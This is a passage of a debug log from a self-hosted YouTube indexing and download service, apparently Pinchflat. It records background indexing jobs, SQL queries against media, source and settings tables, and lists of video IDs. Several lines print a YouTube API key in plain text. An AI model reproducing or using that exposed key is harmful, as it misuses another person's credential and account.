"xYFjwbtJs7U", ...] 16:07:07.030 [debug] QUERY OK source="media_items" db=0.2ms idle=110.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:07:07.031 [debug] QUERY OK source="tasks" db=0.1ms idle=104.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799902, 24, ~U[2026-02-10 22:07:07Z], ~U[2026-02-10 22:07:07Z]] 16:07:07.031 [info] {"args":{"id":24},"id":3799863,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":293540,"event":"job:stop","queue_time":310005,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:07.738 [info] {"args":{"id":26},"id":3799864,"meta":{},"system_time":1770761227738663638,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:07.739 [debug] QUERY OK source="sources" db=0.1ms idle=707.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:07:07.739 [debug] QUERY OK source="settings" db=0.2ms idle=707.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:07.739 [debug] QUERY OK source="media_profiles" db=0.1ms idle=701.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:07.739 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:07.739 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:07:07.739 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:07.740 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:07.854 [debug] QUERY OK source="media_items" db=0.8ms idle=114.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:07:07.856 [debug] QUERY OK source="media_items" db=0.7ms idle=116.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:07:07.857 [debug] QUERY OK source="tasks" db=0.1ms idle=117.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799903, 26, ~U[2026-02-10 22:07:07Z], ~U[2026-02-10 22:07:07Z]] 16:07:07.857 [info] {"args":{"id":26},"id":3799864,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":118578,"event":"job:stop","queue_time":525147,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:08.739 [info] {"args":{"id":18},"id":3799865,"meta":{},"system_time":1770761228739644939,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:08.739 [info] {"args":{"id":39},"id":3799866,"meta":{},"system_time":1770761228739690984,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:08.740 [debug] QUERY OK source="sources" db=0.1ms idle=882.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:07:08.740 [debug] QUERY OK source="sources" db=0.1ms idle=882.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:07:08.740 [debug] QUERY OK source="settings" db=0.1ms idle=876.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.740 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.740 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:08.740 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:08.740 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.740 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:07:08.740 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.740 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:07:08.740 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.740 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:08.740 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.741 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:08.876 [debug] QUERY OK source="media_items" db=0.7ms idle=135.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:07:08.877 [debug] QUERY OK source="media_items" db=0.7ms idle=136.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:07:08.951 [debug] QUERY OK source="tasks" db=73.1ms idle=137.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799904, 18, ~U[2026-02-10 22:07:08Z], ~U[2026-02-10 22:07:08Z]] 16:07:08.970 [info] {"args":{"id":18},"id":3799865,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":212320,"event":"job:stop","queue_time":467239,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:08.976 [info] {"args":{"id":3},"id":3799867,"meta":{},"system_time":1770761228976714655,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:08.976 [debug] QUERY OK source="sources" db=0.1ms idle=98.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:07:08.977 [debug] QUERY OK source="settings" db=0.1ms idle=98.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.977 [debug] QUERY OK source="media_profiles" db=0.0ms idle=25.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:08.977 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.977 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:07:08.977 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:08.977 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:09.003 [debug] QUERY OK source="media_items" db=0.6ms idle=25.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:07:09.004 [debug] QUERY OK source="media_items" db=0.3ms idle=26.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:07:09.004 [debug] QUERY OK source="tasks" db=0.1ms idle=27.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799905, 39, ~U[2026-02-10 22:07:09Z], ~U[2026-02-10 22:07:09Z]] 16:07:09.005 [info] {"args":{"id":39},"id":3799866,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":265176,"event":"job:stop","queue_time":349742,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:09.112 [debug] QUERY OK source="media_items" db=0.7ms idle=106.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", 